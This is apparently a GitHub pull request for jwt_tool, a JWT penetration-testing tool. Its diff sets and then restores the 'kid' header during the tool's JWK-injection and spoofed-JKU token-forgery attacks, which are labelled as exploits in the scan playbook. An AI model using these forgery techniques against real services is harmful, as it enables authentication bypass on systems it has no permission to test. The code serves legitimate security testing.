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During JWK and JKU injection, set kid header to match JWK kid so that the key is used #78

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During JWK and JKU injection, set kid header to match JWK kid so that the key is used #78

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323ebc9
During JWK injection, set kid header to match JWK kid so that the key…
danielbwilkinson Jul 22, 2022
ac09d07
Revert kid after JWK injection, and also fix kid for JKU injection
ncc-dan-w Jul 22, 2022
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14 changes: 14 additions & 0 deletions jwt_tool.py
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Original file line number Diff line number Diff line change
Expand Up @@ -739,6 +739,7 @@ def jwksGen(headDict, paylDict, jku, privKey, kid="jwt_tool"):
newjwks = buildJWKS(n, e, kid)
newHead["jku"] = jku
newHead["alg"] = "RS256"
newHead["kid"] = config["customising"]["jwks_kid"]
key = RSA.importKey(privKey)
newContents = genContents(newHead, paylDict)
newContents = newContents.encode('UTF-8')
Expand Down Expand Up @@ -771,6 +772,7 @@ def jwksEmbed(newheadDict, newpaylDict):
newjwks = buildJWKS(n, e, "jwt_tool")
newHead["jwk"] = newjwks
newHead["alg"] = "RS256"
newHead["kid"] = newjwks["kid"]
key = privKey
# key = RSA.importKey(privKey)
newContents = genContents(newHead, newpaylDict)
Expand Down Expand Up @@ -1369,6 +1371,10 @@ def injectOut(newheadDict, newpaylDict):
def scanModePlaybook():
cprintc("\nLAUNCHING SCAN: JWT Attack Playbook", "magenta")
origalg = headDict["alg"]
try:
origkid = headDict["kid"]
except:
origkid = False
# No token
tmpCookies = config['argvals']['cookies']
tmpHeader = config['argvals']['header']
Expand Down Expand Up @@ -1418,6 +1424,10 @@ def scanModePlaybook():
jwksig, jwksContents = jwksEmbed(headDict, paylDict)
jwtOut(jwksContents+"."+jwksig, "Exploit: Injected JWKS (-X i)")
headDict["alg"] = origalg
if origkid:
headDict["kid"] = origkid
else:
del headDict["kid"]
if origjwk:
headDict["jwk"] = origjwk
else:
Expand All @@ -1430,6 +1440,10 @@ def scanModePlaybook():
jku = config['services']['jwksloc']
newContents, newSig = exportJWKS(jku)
jwtOut(newContents+"."+newSig, "Exploit: Spoof JWKS (-X s)", "Signed with JWKS at "+config['services']['jwksloc'])
if origkid:
headDict["kid"] = origkid
else:
del headDict["kid"]
if origjku:
headDict["jku"] = origjku
else:
Expand Down